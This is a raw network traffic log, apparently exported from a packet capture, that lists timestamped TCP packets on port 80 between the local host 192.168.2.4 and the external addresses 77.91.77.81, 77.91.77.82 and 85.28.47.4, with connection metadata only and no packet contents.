Jul 3, 2024 23:59:15.112531900 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112550020 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112562895 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112649918 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112660885 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112669945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112679958 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112690926 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112701893 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112728119 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112818956 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112831116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112840891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112848997 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112865925 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112895012 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.112968922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.112981081 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113003016 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113013029 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113028049 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113038063 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113064051 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113146067 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113157988 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113168001 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113178968 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113188982 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113194942 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113204002 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113219023 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113229036 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113255978 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113281012 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113298893 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113337040 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113478899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113491058 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113498926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113508940 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113519907 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113522053 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113531113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113540888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113548040 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113552094 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113560915 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113564014 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113574982 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113580942 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113584995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113604069 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113626957 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113801003 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113841057 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113924980 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113935947 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113945007 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113955975 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113966942 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.113970995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113981962 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113991022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.113996029 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114002943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114007950 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114015102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114025116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114034891 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114062071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114475965 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114486933 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114495993 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114506006 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114515066 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114520073 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114531994 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114540100 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114542007 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114554882 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114564896 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114567995 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114576101 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114578962 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114587069 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114598036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114613056 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114631891 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114639997 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114789009 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114799976 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114835978 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114872932 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114888906 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114898920 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114912033 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114916086 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114923954 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114929914 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114934921 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.114948988 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.114969969 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144114971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144124985 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144130945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144190073 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144218922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144229889 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144233942 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144238949 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144284010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144293070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144294024 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144309044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144320965 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144320965 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144340038 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144346952 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144367933 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144376040 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144391060 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144391060 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144402027 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144413948 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144426107 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144439936 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144493103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144504070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:15.144536018 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:15.144550085 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:17.833584070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:17.833939075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:19.807101011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:19.808223963 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:23.320951939 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:23.325783014 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:23.325870991 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:23.326004028 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:23.330744028 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:24.029300928 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:24.029495955 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:24.030318975 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:24.035085917 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:24.254291058 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 3, 2024 23:59:24.254375935 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 3, 2024 23:59:24.257754087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:24.262625933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.263942957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:24.264045000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:24.269176960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995127916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995143890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995153904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995249033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995260000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995268106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995277882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995285034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:24.995340109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:24.995340109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:24.995433092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995444059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.995452881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:24.996876955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.000129938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.000231028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.000257015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.000329971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.117427111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117444038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117454052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117463112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117474079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117482901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117499113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.117539883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.117539883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.117871046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117940903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117950916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117964983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.117985964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.117995024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.118076086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.118710995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.118751049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.118763924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.118774891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.118808985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.118808985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.118822098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.118882895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.119474888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.119539022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.119548082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.119601011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.119630098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.119714022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.120290995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.120342016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.120356083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.120393038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.120417118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.121994019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.212573051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.212676048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.212822914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.212831020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.212840080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.212848902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.212932110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.212932110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.239653111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.239664078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.239694118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.239723921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.239734888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.239761114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.239823103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.239898920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.239929914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.239938974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.239991903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.240269899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.240331888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.240341902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.240381956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.240396023 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.240396023 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.240680933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.240824938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.240855932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.240864038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.240936995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.240946054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.240964890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.240995884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.241611004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.241662025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.241672039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.241688013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.241774082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.241784096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.241792917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.241796970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.241816044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.241875887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.242508888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.242531061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.242542028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.242655039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.242664099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.242674112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.242676973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.242697001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.242767096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.243541002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.243550062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.243558884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.243622065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.243622065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.243638039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.243648052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.243659019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.243685007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.243738890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.244527102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.244537115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.244546890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.244606972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.244616032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.244621038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.244628906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.244685888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.244685888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.245354891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.246759892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.308238983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.308248997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.308259010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.308269024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.308351040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.308351040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.308373928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.308383942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.308393002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.308403015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.308470964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.308470964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.335155964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.335165024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.335169077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.335177898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.335326910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.363430023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363444090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363454103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363527060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.363527060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.363749027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363790989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363800049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363893986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363903046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363913059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363919973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.363923073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.363946915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.364057064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364065886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364074945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364084959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364085913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.364094019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364114046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.364114046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.364459038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364500046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.364578009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364593029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364603043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364605904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.364614010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364623070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364634037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.364671946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.364671946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.364916086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364963055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.364973068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365057945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365067005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365076065 CEST	80	49744	77.91.77.81	192.168.2.4
